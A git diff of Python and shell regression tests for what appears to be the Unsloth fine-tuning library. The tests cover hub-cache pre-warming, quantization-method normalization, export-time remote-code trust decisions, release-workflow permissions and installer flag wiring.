+    fn, stubs = _build_env(monkeypatch, tmp_path, cached = True)
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+    # The cached check must not hit the network.
+    assert all(kwargs.get("local_files_only") for _, kwargs in stubs.hf_hub_download.calls)
+
+
+def test_skips_when_disk_too_small_for_cache_copy(monkeypatch, tmp_path):
+    fn, stubs = _build_env(monkeypatch, tmp_path, free_bytes = 60 * 1024**3)
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+
+
+@pytest.mark.parametrize("env_value", ["0", "false", "NO", "off"])
+def test_env_opt_out(monkeypatch, tmp_path, env_value):
+    monkeypatch.setenv("UNSLOTH_PREWARM_HUB_CACHE", env_value)
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+
+
+@pytest.mark.parametrize("var", ["HF_HUB_OFFLINE", "TRANSFORMERS_OFFLINE"])
+def test_offline_skips(monkeypatch, tmp_path, var):
+    monkeypatch.setenv(var, "1")
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+
+
+def test_kaggle_and_colab_skip(monkeypatch, tmp_path):
+    for flag in ("kaggle", "colab"):
+        fn, stubs = _build_env(monkeypatch, tmp_path, **{flag: True})
+        fn(_FakePeftModel(), save_method = "merged_16bit")
+        assert stubs.snapshot_download.calls == [], f"{flag} must skip pre-warm"
+
+
+@pytest.mark.parametrize("save_method", ["merged_4bit", "forced_merged_4bit", "lora"])
+def test_non_downloading_save_methods_skip(monkeypatch, tmp_path, save_method):
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(_FakePeftModel(), save_method = save_method)
+    assert stubs.snapshot_download.calls == []
+
+
+def test_local_base_model_skips(monkeypatch, tmp_path):
+    local_dir = tmp_path / "local_base"
+    local_dir.mkdir()
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(_FakePeftModel(name_or_path = str(local_dir)), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+
+
+def test_quantized_base_skips(monkeypatch, tmp_path):
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        base_source = ("unsloth/gemma-4-31b-it-bnb-4bit", False, None, True, "nf4"),
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls == []
+
+
+def test_non_peft_model_skips(monkeypatch, tmp_path):
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(object(), save_method = "merged_16bit")
+    assert stubs.determine_base_model_source.calls == []
+    assert stubs.snapshot_download.calls == []
+
+
+def test_consolidated_shard_excluded_when_proper_shards_exist(monkeypatch, tmp_path):
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        shards = [
+            ("consolidated.safetensors", 14 * 1024**3),
+            ("model-00001-of-00001.safetensors", 14 * 1024**3),
+        ],
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    _, kwargs = stubs.snapshot_download.calls[0]
+    assert "consolidated.safetensors" not in kwargs["allow_patterns"]
+    assert "model-00001-of-00001.safetensors" in kwargs["allow_patterns"]
+
+
+def test_consolidated_only_repo_is_kept(monkeypatch, tmp_path):
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        shards = [("consolidated.safetensors", 14 * 1024**3)],
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    _, kwargs = stubs.snapshot_download.calls[0]
+    assert "consolidated.safetensors" in kwargs["allow_patterns"]
+
+
+def test_listing_failure_is_swallowed(monkeypatch, tmp_path):
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    stubs.determine_base_model_source.exc = RuntimeError("HF is down")
+    fn(_FakePeftModel(), save_method = "merged_16bit")  # must not raise
+    assert stubs.snapshot_download.calls == []
+
+
+def test_gpt_oss_bf16_mxfp4_swap_skips(monkeypatch, tmp_path):
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    fn(
+        _FakePeftModel(name_or_path = "unsloth/gpt-oss-20b-BF16"),
+        save_method = "mxfp4",
+    )
+    assert stubs.snapshot_download.calls == []
+
+
+def test_missing_config_skips_cleanly(monkeypatch, tmp_path):
+    # A model whose config is None must skip silently, not fall into the outer
+    # exception handler that prints a misleading "Could not pre-cache" warning.
+    fn, stubs = _build_env(monkeypatch, tmp_path)
+    model = _FakePeftModel()  # a PeftModel instance so the isinstance guard passes
+    model.config = None
+    fn(model, save_method = "merged_16bit")
+    assert stubs.determine_base_model_source.calls == []
+    assert stubs.snapshot_download.calls == []
+    assert not any(
+        "Could not pre-cache" in p for p in stubs.prints
+    ), "missing config took the error path instead of a clean skip"
+
+
+def test_relative_hub_cache_does_not_falsely_skip(monkeypatch, tmp_path):
+    # A relative HF_HUB_CACHE whose leaf does not exist yet must still resolve to a real
+    # root for the disk probe; without abspath the walk-up hits "" and pre-warm is skipped.
+    monkeypatch.chdir(tmp_path)
+    fn, stubs = _build_env(monkeypatch, tmp_path, hub_cache = "relcache/hub")
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert len(stubs.snapshot_download.calls) == 1, "relative cache path falsely skipped pre-warm"
+
+
+def test_generic_save_calls_prewarm_before_merge():
+    """unsloth_generic_save must pre-warm the cache before merge_and_overwrite_lora."""
+    tree = ast.parse(_SOURCE)
+    fn = next(
+        node
+        for node in ast.walk(tree)
+        if isinstance(node, ast.FunctionDef) and node.name == "unsloth_generic_save"
+    )
+    body_src = ast.get_source_segment(_SOURCE, fn)
+    prewarm_pos = body_src.find("_prewarm_base_model_hub_cache(")
+    merge_pos = body_src.find("merge_and_overwrite_lora(")
+    assert prewarm_pos != -1, "unsloth_generic_save no longer pre-warms the hub cache"
+    assert merge_pos != -1
+    assert prewarm_pos < merge_pos, "pre-warm must run before the merge downloads shards"
+
+
+def test_prewarm_downloads_into_live_env_cache(monkeypatch, tmp_path):
+    # Download must target the live-env cache (what the merge reads), via cache_dir.
+    fn, stubs = _build_env(monkeypatch, tmp_path, live_hub_cache = "/mnt/persistent/hf/hub")
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls[0][1]["cache_dir"] == "/mnt/persistent/hf/hub"
+
+
+def test_prewarm_survives_runtime_cache_redirect(monkeypatch, tmp_path):
+    # Frozen constants (stale dir) vs the merge's runtime-redirected dir: the pre-warm
+    # must follow the redirect, else the cache-copy fast path misses and #6890 is unfixed.
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        hub_cache = "/read-only/original/hub",
+        live_hub_cache = "/writable/redirect/hub",
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.snapshot_download.calls[0][1]["cache_dir"] == "/writable/redirect/hub"
+
+
+def test_cached_probe_uses_live_env_cache(monkeypatch, tmp_path):
+    # The already-cached fast path must probe the live-env cache dir too.
+    fn, stubs = _build_env(
+        monkeypatch, tmp_path, cached = True, live_hub_cache = "/mnt/persistent/hf/hub"
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    assert stubs.hf_hub_download.calls, "cached probe did not run"
+    assert all(
+        kw.get("cache_dir") == "/mnt/persistent/hf/hub" for _, kw in stubs.hf_hub_download.calls
+    )
+
+
+def test_fp8_base_prewarms_16bit_sibling_not_fp8_repo(monkeypatch, tmp_path):
+    # A merged_16bit export of an FP8 base with a 16bit sibling merges onto the sibling,
+    # so the pre-warm must cache the sibling (what the merge downloads), not the FP8 repo.
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        base_source = ("unsloth/Model-FP8", False, None, True, "fp8"),
+        fp8_sibling = "unsloth/Model",
+    )
+    fn(_FakePeftModel(name_or_path = "unsloth/Model-FP8"), save_method = "merged_16bit")
+    assert stubs.resolve_fp8_16bit_sibling.calls, "sibling resolver was not consulted"
+    assert len(stubs.snapshot_download.calls) == 1
+    assert stubs.snapshot_download.calls[0][1]["repo_id"] == "unsloth/Model"
+
+
+def test_fp8_base_without_sibling_still_prewarms_fp8_repo(monkeypatch, tmp_path):
+    # No sibling: the merge dequants the FP8 base in place, so caching the FP8 repo helps.
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        base_source = ("unsloth/Model-FP8", False, None, True, "fp8"),
+        fp8_sibling = None,
+    )
+    fn(_FakePeftModel(name_or_path = "unsloth/Model-FP8"), save_method = "merged_16bit")
+    assert len(stubs.snapshot_download.calls) == 1
+    assert stubs.snapshot_download.calls[0][1]["repo_id"] == "unsloth/Model-FP8"
+
+
+def test_prewarm_filters_shards_through_index(monkeypatch, tmp_path):
+    # A repo with a leftover shard not referenced by the index: the merge keeps only the
+    # indexed shards, so the pre-warm must too (else the disk gate over-counts and
+    # snapshot_download fetches the unused leftover).
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        shards = [
+            ("model-00001-of-00002.safetensors", 10 * 1024**3),
+            ("model-00002-of-00002.safetensors", 10 * 1024**3),
+            ("leftover-00001-of-00001.safetensors", 10 * 1024**3),
+        ],
+        index_weight_map = {
+            "a.weight": "model-00001-of-00002.safetensors",
+            "b.weight": "model-00002-of-00002.safetensors",
+        },
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    allow = stubs.snapshot_download.calls[0][1]["allow_patterns"]
+    assert "leftover-00001-of-00001.safetensors" not in allow
+    assert "model-00001-of-00002.safetensors" in allow
+    assert "model-00002-of-00002.safetensors" in allow
+
+
+def test_prewarm_keeps_all_shards_when_index_matches(monkeypatch, tmp_path):
+    # No leftover: every listed shard is indexed, so none are dropped.
+    fn, stubs = _build_env(
+        monkeypatch,
+        tmp_path,
+        shards = [
+            ("model-00001-of-00002.safetensors", 10 * 1024**3),
+            ("model-00002-of-00002.safetensors", 10 * 1024**3),
+        ],
+        index_weight_map = {
+            "a.weight": "model-00001-of-00002.safetensors",
+            "b.weight": "model-00002-of-00002.safetensors",
+        },
+    )
+    fn(_FakePeftModel(), save_method = "merged_16bit")
+    allow = stubs.snapshot_download.calls[0][1]["allow_patterns"]
+    assert "model-00001-of-00002.safetensors" in allow
+    assert "model-00002-of-00002.safetensors" in allow
diff --git a/tests/saving/test_quant_method_none_normalization.py b/tests/saving/test_quant_method_none_normalization.py
new file mode 100644
index 0000000000..c1c5fd3686
--- /dev/null
+++ b/tests/saving/test_quant_method_none_normalization.py
@@ -0,0 +1,81 @@
+"""CPU-only regression for the quant-method normalization loops in save.py.
+
+`unsloth_save_pretrained_gguf` and `save_to_gguf_generic` each normalize the
+`quantization_method` list, mapping a ``None`` element to ``"q8_0"``. The mapping
+used to call ``quant_method.lower()`` as the first statement of the loop, so a
+``None`` element (e.g. ``quantization_method=[None]`` or ``["q4_k_m", None]``)
+raised ``AttributeError: 'NoneType' object has no attribute 'lower'`` and the
+``elif quant_method is None`` branch was unreachable dead code.
+
+The loop is inline inside two heavy functions (importing unsloth needs
+unsloth_zoo / a GPU), so - like test_is_gpt_oss_detection.py - we extract just the
+loop source via ``ast`` and exec it against sample inputs. That exercises the real
+source: it fails on the old ordering and passes once ``None`` is handled first.
+"""
+
+from __future__ import annotations
+
+import ast
+from pathlib import Path
+
+import pytest
+
+SAVE_PY = Path(__file__).resolve().parents[2] / "unsloth" / "save.py"
+SAVE_SRC = SAVE_PY.read_text(encoding = "utf-8")
+SAVE_TREE = ast.parse(SAVE_SRC, filename = str(SAVE_PY))
+
+# The target functions and the list variable each one appends the normalized method to.
+TARGETS = (
+    ("unsloth_save_pretrained_gguf", "quantization_methods"),
+    ("save_to_gguf_generic", "new_quantization_methods"),
+)
+
+
+def _func(tree, name):
+    for node in ast.walk(tree):
+        if isinstance(node, ast.FunctionDef) and node.name == name:
+            return node
+    raise AssertionError(f"function {name!r} not found in {SAVE_PY.name}")
+
+
+def _quant_loop(func_name):
+    # The quant-normalization `for` loop iterates `quantization_method`; grab its source.
+    func = _func(SAVE_TREE, func_name)
+    for node in ast.walk(func):
+        if (
+            isinstance(node, ast.For)
+            and isinstance(node.iter, ast.Call)
+            and isinstance(node.iter.func, ast.Name)
+            and node.iter.func.id == "enumerate"
+            and isinstance(node.iter.args[0], ast.Name)
+            and node.iter.args[0].id == "quantization_method"
+        ):
+            return node
+    raise AssertionError(f"quant-normalization loop not found in {func_name}")
+
+
+def _run_loop(func_name, out_var, quantization_method):
+    # exec just the extracted loop against a given input, returning the appended methods.
+    loop_src = ast.get_source_segment(SAVE_SRC, _quant_loop(func_name))
+    namespace = {out_var: [], "quantization_method": quantization_method}
+    exec(loop_src, {"__builtins__": __builtins__}, namespace)
+    return namespace[out_var]
+
+
+@pytest.mark.parametrize("func_name, out_var", TARGETS)
+def test_none_element_maps_to_q8_0(func_name, out_var):
+    # A bare None inside the list must map to q8_0, not raise AttributeError.
+    assert _run_loop(func_name, out_var, [None]) == ["q8_0"]
+
+
+@pytest.mark.parametrize("func_name, out_var", TARGETS)
+def test_none_mixed_with_strings(func_name, out_var):
+    # None resolves to q8_0 while sibling string methods are still normalized (lowercased).
+    assert _run_loop(func_name, out_var, ["Q4_K_M", None]) == ["q4_k_m", "q8_0"]
+
+
+@pytest.mark.parametrize("func_name, out_var", TARGETS)
+def test_string_methods_unchanged(func_name, out_var):
+    # The fix must not alter behavior for the ordinary string inputs.
+    methods = ["not_quantized", "fast_quantized", "quantized", "Q8_0"]
+    assert _run_loop(func_name, out_var, methods) == ["f16", "q8_0", "q4_k_m", "q8_0"]
diff --git a/tests/saving/test_torchao_remote_code_consent.py b/tests/saving/test_torchao_remote_code_consent.py
new file mode 100644
index 0000000000..1d0acb7866
--- /dev/null
+++ b/tests/saving/test_torchao_remote_code_consent.py
@@ -0,0 +1,150 @@
+"""Regression tests for the export-time remote-code trust decision.
+
+FP8/FP4/INT quantization export re-reads the just-merged checkpoint. It used to enable
+trust_remote_code whenever the checkpoint's config carried an ``auto_map`` entry, so a model
+that loads fine with built-in classes (and therefore skips the load-time consent scan) could
+smuggle unvetted remote code that then runs at export. The export paths now derive
+trust_remote_code from ``_loaded_via_remote_code`` - the already approved load decision - instead.
+
+These run on CPU with no torch / unsloth import: they AST-extract the real helper from
+unsloth/save.py and exec it in isolation, plus assert the call sites dropped the auto_map trust.
+"""
+
+import ast
+from pathlib import Path
+
+_SAVE_PY = Path(__file__).resolve().parents[2] / "unsloth" / "save.py"
+_SRC = _SAVE_PY.read_text(encoding = "utf-8")
+
+
+def _load_helper():
+    """Exec just `_loaded_via_remote_code` from save.py (no torch import) and return it."""
+    tree = ast.parse(_SRC)
+    fn = next(
+        n
+        for n in tree.body
+        if isinstance(n, ast.FunctionDef) and n.name == "_loaded_via_remote_code"
+    )
+    ns = {}
+    exec(compile(ast.Module(body = [fn], type_ignores = []), str(_SAVE_PY), "exec"), ns)
+    return ns["_loaded_via_remote_code"]
+
+
+_loaded_via_remote_code = _load_helper()
+
+
+def _obj(module_name, **attrs):
+    """A throwaway instance whose class __module__ is `module_name`, plus given attributes."""
+    cls = type("Fake", (), {})
+    cls.__module__ = module_name
+    inst = cls()
+    for k, v in attrs.items():
+        setattr(inst, k, v)
+    return inst
+
+
+def test_builtin_class_is_not_remote_code():
+    assert _loaded_via_remote_code(_obj("transformers.models.llama.modeling_llama")) is False
+
+
+def test_transformers_modules_class_is_remote_code():
+    assert _loaded_via_remote_code(_obj("transformers_modules.acme.modeling_x")) is True
+
+
+def test_none_is_not_remote_code():
+    assert _loaded_via_remote_code(None) is False
+
+
+def test_none_module_is_not_remote_code():
+    # A class whose __module__ is None must not raise AttributeError.
+    assert _loaded_via_remote_code(_obj(None)) is False
+
+
+def test_auto_map_in_config_alone_does_not_grant_trust():
+    # The core bypass: a built-in-loadable model whose config merely declares auto_map must NOT
+    # be treated as remote-code-loaded (that is exactly what enabled the consent-gate bypass).
+    cfg = type("Cfg", (), {"auto_map": {"AutoModelForCausalLM": "modeling_x.Model"}})()
+    assert (
+        _loaded_via_remote_code(_obj("transformers.models.llama.modeling_llama", config = cfg))
+        is False
+    )
+
+
+def test_peft_base_model_is_unwrapped():
+    base = _obj("transformers_modules.acme.modeling_x")
+    peft = _obj("peft.peft_model", get_base_model = lambda: base)
+    assert _loaded_via_remote_code(peft) is True
+
+
+def test_wrapper_model_attr_is_walked():
+    inner = _obj("transformers_modules.acme.modeling_x")
+    wrapper = _obj("peft.peft_model", model = inner)
+    assert _loaded_via_remote_code(wrapper) is True
+
+
+def test_wrapper_over_builtin_stays_false():
+    inner = _obj("transformers.models.llama.modeling_llama")
+    wrapper = _obj("peft.peft_model", model = inner)
+    assert _loaded_via_remote_code(wrapper) is False
+
+
+def test_processor_held_custom_tokenizer_is_detected():
+    # A built-in ProcessorMixin can hold an approved custom-code tokenizer; the walk must
+    # descend into processor components or the export reload loses that approved trust.
+    tok = _obj("transformers_modules.acme.tokenization_x")
+    proc = _obj("transformers.processing_utils", tokenizer = tok)
+    assert _loaded_via_remote_code(proc) is True
+
+
+def test_processor_held_custom_image_processor_is_detected():
+    ip = _obj("transformers_modules.acme.image_processing_x")
+    proc = _obj("transformers.processing_utils", image_processor = ip)
+    assert _loaded_via_remote_code(proc) is True
+
+
+def test_builtin_processor_with_builtin_components_stays_false():
+    proc = _obj(
+        "transformers.processing_utils",
+        tokenizer = _obj("transformers.tokenization_utils_fast"),
+        image_processor = _obj("transformers.image_processing_utils"),
+    )
+    assert _loaded_via_remote_code(proc) is False
+
+
+def test_cyclic_wrappers_terminate():
+    a = _obj("peft.peft_model")
+    b = _obj("peft.peft_model", model = a)
+    a.model = b
+    assert _loaded_via_remote_code(a) is False
+
+
+# -- call-site assertions: the auto_map-derived trust is gone from every export path -----------
+
+
+def test_torchao_export_derives_trust_from_load_decision():
+    assert "model_trust = _loaded_via_remote_code(model)" in _SRC
+    assert "tok_trust = _loaded_via_remote_code(tokenizer)" in _SRC
+    assert "trust_remote_code = model_trust" in _SRC
+    assert "trust_remote_code = tok_trust" in _SRC
+    # The staged-config auto_map scan that granted trust is removed.
+    assert 'if "auto_map" in json.load' not in _SRC
+
+
+def test_compressed_and_gguf_lora_paths_drop_auto_map_trust():
+    # No path derives a trust decision straight from config auto_map anymore, and no path
+    # collapses model and tokenizer trust into one flag.
+    assert 'bool(getattr(model.config, "auto_map", None))' not in _SRC
+    assert "_loaded_via_remote_code(model) or _loaded_via_remote_code(tokenizer)" not in _SRC
+    assert "if _loaded_via_remote_code(model):" in _SRC  # GGUF-LoRA converter flag
+
+
+def test_compressed_export_keeps_model_and_tokenizer_trust_separate():
+    # The subprocess gets one flag per component, so an approved custom tokenizer cannot
+    # enable an unapproved model's code during compressed quantization (or vice versa).
+    assert 'cmd.append("--trust-remote-code")' in _SRC
+    assert 'cmd.append("--trust-remote-code-tokenizer")' in _SRC
+    qsrc = (_SAVE_PY.parent / "_compressed_quantize.py").read_text(encoding = "utf-8")
+    assert 'ap.add_argument("--trust-remote-code-tokenizer", action = "store_true")' in qsrc
+    assert "trust_remote_code = args.trust_remote_code_tokenizer" in qsrc
+    # The model loads keep the model flag only.
+    assert "args.model, args.trust_remote_code)" in qsrc
diff --git a/tests/security/test_release_desktop_permissions.py b/tests/security/test_release_desktop_permissions.py
new file mode 100644
index 0000000000..b1010425d8
--- /dev/null
+++ b/tests/security/test_release_desktop_permissions.py
@@ -0,0 +1,58 @@
+"""Permission-boundary checks for the desktop release workflow."""
+
+from pathlib import Path
+
+import yaml
+
+
+REPO_ROOT = Path(__file__).resolve().parents[2]
+WORKFLOW = REPO_ROOT / ".github" / "workflows" / "release-desktop.yml"
+
+
+def _workflow():
+    return yaml.safe_load(WORKFLOW.read_text(encoding = "utf-8"))
+
+
+def test_only_publish_job_can_write_repository_contents():
+    workflow = _workflow()
+    assert workflow["permissions"] == {"contents": "read"}
+
+    write_jobs = [
+        name
+        for name, job in workflow["jobs"].items()
+        if job.get("permissions", {}).get("contents") == "write"
+    ]
+    assert write_jobs == ["publish-release"]
+
+
+def test_build_matrix_hands_off_assets_without_release_credentials():
+    jobs = _workflow()["jobs"]
+    build = jobs["build"]
+    publish = jobs["publish-release"]
+
+    assert "permissions" not in build
+    tauri_steps = [
+        step
+        for step in build["steps"]
+        if step.get("uses", "").startswith("tauri-apps/tauri-action@")
+    ]
+    assert len(tauri_steps) == 3
+    for step in tauri_steps:
+        assert "GITHUB_TOKEN" not in step.get("env", {})
+        assert not {"releaseId", "tagName", "releaseName"} & step.get("with", {}).keys()
+
+    assert any(
+        step.get("uses", "").startswith("actions/upload-artifact@") for step in build["steps"]
+    )
+    assert any(
+        step.get("uses", "").startswith("actions/download-artifact@") for step in publish["steps"]
+    )
+    assert "build" in publish["needs"]
+
+    release_step = next(
+        step
+        for step in publish["steps"]
+        if step.get("name") == "Create or validate versioned release"
+    )
+    assert "gh release view" in release_step["run"]
+    assert "--json tagName,isDraft,isPrerelease" in release_step["run"]
diff --git a/tests/sh/test_mac_intel_compat.sh b/tests/sh/test_mac_intel_compat.sh
index 3c3bbfaa5f..8a0ff4b641 100644
--- a/tests/sh/test_mac_intel_compat.sh
+++ b/tests/sh/test_mac_intel_compat.sh
@@ -312,7 +312,7 @@ if [ "$SKIP_TORCH" = true ]; then
 else
     echo "==> Installing PyTorch ($TORCH_INDEX_URL)..."
     uv pip install --python "$_VENV_PY" "torch>=2.4,<2.11.0" torchvision torchaudio \
-        --index-url "$TORCH_INDEX_URL"
+        --default-index "$TORCH_INDEX_URL"
 fi
 TORCH_EOF
 
diff --git a/tests/sh/test_strixhalo_wsl_reroute.sh b/tests/sh/test_strixhalo_wsl_reroute.sh
index 7edf475ccb..9c9b04cf21 100644
--- a/tests/sh/test_strixhalo_wsl_reroute.sh
+++ b/tests/sh/test_strixhalo_wsl_reroute.sh
@@ -309,7 +309,15 @@ if [ "$_rc" = "2" ]; then echo "  PASS: tauri child exit 2 -> reroute propagates
 assert_absent   "tauri exit 2 -> not a CPU fallback"              "$_out" "__NOROUTE__"
 rm -rf "$_d"
 
-# 27) Non-tauri mode: a child exit 2 is just a failure -> CPU fallback, not propagated.
+# 27) The post-install autostart opt-out must reach the target distro, where the
+#     final launch prompt is evaluated.
+_d=$(make_fixture 1 strix 0 26.04 1)
+_out=$(run_func "$_d" _SKIP_AUTOSTART=true UNSLOTH_SKIP_AUTOSTART= \
+        UNSLOTH_WSL_REROUTE_CMD='echo skip=[$UNSLOTH_SKIP_AUTOSTART]')
+assert_contains "UNSLOTH_SKIP_AUTOSTART forwarded to reroute"    "$_out" "skip=[1]"
+rm -rf "$_d"
+
+# 28) Non-tauri mode: a child exit 2 is just a failure -> CPU fallback, not propagated.
 _d=$(make_fixture 1 strix 0 26.04 1)
 _rc=0
 _out=$(run_func "$_d" UNSLOTH_WSL_REROUTE_CMD='exit 2') || _rc=$?
diff --git a/tests/sh/test_with_llama_cpp_dir_flag.sh b/tests/sh/test_with_llama_cpp_dir_flag.sh
new file mode 100644
index 0000000000..cee158bf40
--- /dev/null
+++ b/tests/sh/test_with_llama_cpp_dir_flag.sh
@@ -0,0 +1,172 @@
+#!/bin/bash
+# Static analysis: the --with-llama-cpp-dir flag must be wired consistently
+# across both installers (install.sh / install.ps1) and both setup scripts
+# (studio/setup.sh / studio/setup.ps1).
+#
+# The flag lets a user point the installer at a local llama.cpp directory so it
+# skips BOTH the prebuilt download (Phase 3) and the source build (Phase 4),
+# linking the local dir into the canonical install location instead. The path
+# crosses the installer->setup boundary via the UNSLOTH_LOCAL_LLAMA_CPP_DIR env
+# var. These checks pin that contract so a future refactor of either side can't
+# silently break it (e.g. installer parses the flag but setup never reads the
+# env var, or setup links the dir but still runs the build).
+#
+# This is a shape/wiring test, not a behavioral one: it greps the committed
+# scripts. It needs no Python, no GPU, no network.
+set -e
+
+SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
+INSTALL_SH="$SCRIPT_DIR/../../install.sh"
+INSTALL_PS1="$SCRIPT_DIR/../../install.ps1"
+SETUP_SH="$SCRIPT_DIR/../../studio/setup.sh"
+SETUP_PS1="$SCRIPT_DIR/../../studio/setup.ps1"
+ENV_VAR="UNSLOTH_LOCAL_LLAMA_CPP_DIR"
+PASS=0
+FAIL=0
+
+assert_contains() {
+    _label="$1"; _file="$2"; _needle="$3"
+    if grep -qF -- "$_needle" "$_file"; then
+        echo "  PASS: $_label"
+        PASS=$((PASS + 1))
+    else
+        echo "  FAIL: $_label (expected to find '$_needle' in $(basename "$_file"))"
+        FAIL=$((FAIL + 1))
+    fi
+}
+
+# Count of distinct lines matching a regex, used to assert a guard appears
+# in more than one place (e.g. env var forwarded on both setup invocations).
+assert_min_count() {
+    _label="$1"; _file="$2"; _pattern="$3"; _min="$4"
+    _n=$(grep -cE -- "$_pattern" "$_file" || true)
+    if [ "$_n" -ge "$_min" ]; then
+        echo "  PASS: $_label (found $_n, need >= $_min)"
+        PASS=$((PASS + 1))
+    else
+        echo "  FAIL: $_label (found $_n in $(basename "$_file"), need >= $_min)"
+        FAIL=$((FAIL + 1))
+    fi
+}
+
+echo ""
+echo "=== install.sh: parses --with-llama-cpp-dir and forwards the env var ==="
+
+assert_contains \
+    "install.sh: accepts --with-llama-cpp-dir flag" \
+    "$INSTALL_SH" "--with-llama-cpp-dir"
+assert_contains \
+    "install.sh: validates the path exists before forwarding" \
+    "$INSTALL_SH" 'if [ ! -d "$_WITH_LLAMA_CPP_DIR" ]; then'
+# The path must be forwarded to setup.sh on BOTH the local and the
+# non-local setup invocations, else --local users (the documented path)
+# would silently lose the flag.
+assert_min_count \
+    "install.sh: forwards $ENV_VAR on both setup invocations" \
+    "$INSTALL_SH" "$ENV_VAR=\"\\\$_WITH_LLAMA_CPP_DIR\"" 2
+
+echo ""
+echo "=== install.ps1: parses --with-llama-cpp-dir and forwards the env var ==="
+
+assert_contains \
+    "install.ps1: accepts --with-llama-cpp-dir flag" \
+    "$INSTALL_PS1" '"--with-llama-cpp-dir"'
+assert_contains \
+    "install.ps1: errors when flag is given with no path argument" \
+    "$INSTALL_PS1" "--with-llama-cpp-dir requires a path argument"
+assert_contains \
+    "install.ps1: validates the path exists before forwarding" \
+    "$INSTALL_PS1" "--with-llama-cpp-dir path does not exist"
+assert_contains \
+    "install.ps1: exports $ENV_VAR for setup.ps1" \
+    "$INSTALL_PS1" "\$env:$ENV_VAR ="
+# The exported env var must be cleaned up so a later setup invocation in the
+# same shell session doesn't inherit a stale local-dir link.
+assert_contains \
+    "install.ps1: clears $ENV_VAR after the setup run" \
+    "$INSTALL_PS1" "Remove-Item Env:$ENV_VAR"
+
+echo ""
+echo "=== studio/setup.sh: reads the env var, links, and skips download+build ==="
+
+assert_contains \
+    "setup.sh: reads $ENV_VAR" \
+    "$SETUP_SH" "$ENV_VAR"
+assert_contains \
+    "setup.sh: symlinks the local dir into the canonical install location" \
+    "$SETUP_SH" 'ln -sfn "$_RESOLVED_LOCAL" "$LLAMA_CPP_DIR"'
+assert_contains \
+    "setup.sh: disables the source build when the local dir is linked" \
+    "$SETUP_SH" "_NEED_LLAMA_SOURCE_BUILD=false"
+assert_contains \
+    "setup.sh: skips the prebuilt download when the local dir is linked" \
+    "$SETUP_SH" "_SKIP_PREBUILT_INSTALL=true"
+# The link branch must short-circuit the FORCE_COMPILE / prebuilt chain rather
+# than fall through into it.
+assert_contains \
+    "setup.sh: link branch gates the prebuilt/compile chain" \
+    "$SETUP_SH" 'if [ "$_LOCAL_LLAMA_CPP_LINKED" = true ]; then'
+
+echo ""
+echo "=== studio/setup.ps1: reads the env var, junctions, and skips download+build ==="
+
+assert_contains \
+    "setup.ps1: reads $ENV_VAR" \
+    "$SETUP_PS1" "\$env:$ENV_VAR"
+assert_contains \
+    "setup.ps1: creates a directory junction into the canonical location" \
+    "$SETUP_PS1" "mklink /J"
+assert_contains \
+    "setup.ps1: falls back to a copy when the junction can't be created" \
+    "$SETUP_PS1" "Copy-Item -Recurse -LiteralPath \$ResolvedLocal -Destination \$LlamaCppDir"
+assert_contains \
+    "setup.ps1: disables the source build when the local dir is linked" \
+    "$SETUP_PS1" '$NeedLlamaSourceBuild = $false'
+# The link branch must gate the prebuilt-install chain (the elseif on
+# FORCE_COMPILE), and the linked-dir case must short-circuit the build chain
+# so neither a prebuilt download nor a source build runs against it.
+assert_contains \
+    "setup.ps1: link branch gates the prebuilt/compile chain" \
+    "$SETUP_PS1" 'if ($LocalLlamaCppLinked) {'
+assert_contains \
+    "setup.ps1: linked-dir case short-circuits the build chain" \
+    "$SETUP_PS1" 'step "llama.cpp" "linked (skipping build)"'
+
+echo ""
+echo "=== both setup scripts: validate against every layout the backend resolves ==="
+
+# The linked tree is accepted only if it already holds a runnable llama-server,
+# but the check must match LlamaCppBackend._layout_candidates() (root-level
+# first, then build/bin, then build/bin/Release on Windows). A narrower check
+# would reject a make/flat-release tree the backend could run.
+assert_contains \
+    "setup.sh: accepts root-level or build/bin llama-server layouts" \
+    "$SETUP_SH" '[ -x "$1/llama-server" ] || [ -x "$1/build/bin/llama-server" ]'
+assert_contains \
+    "setup.ps1: accepts the build\\bin (non-Release) llama-server.exe layout" \
+    "$SETUP_PS1" 'Join-Path $ResolvedLocal "build\bin\llama-server.exe"'
+assert_contains \
+    "setup.ps1: accepts the root-level llama-server.exe layout" \
+    "$SETUP_PS1" 'Join-Path $ResolvedLocal "llama-server.exe"'
+
+echo ""
+echo "=== both setup scripts: a local dir pointing at the canonical path is a no-op ==="
+
+# Guard against the self-link footgun: if the user passes the canonical install
+# dir itself, neither script should delete-then-link it onto itself.
+assert_contains \
+    "setup.sh: ignores a local dir equal to the canonical install location" \
+    "$SETUP_SH" 'if [ "$_RESOLVED_LOCAL" = "$_CANON_LLAMA_CPP_DIR" ]; then'
